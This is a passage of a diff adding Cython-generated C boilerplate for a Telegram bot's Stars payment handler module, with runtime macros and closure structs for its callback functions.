__Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/stars_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + +/* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_e; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; + PyObject *__pyx_t_6; + PyObject *__pyx_t_7; + PyObject *__pyx_t_8; +}; + + +/* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_e; + PyObject *__pyx_v_message; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query { + PyObject_HEAD + PyObject *__pyx_v_pre_checkout_query; +}; + + +/* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_message; + PyObject *__pyx_v_user_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, 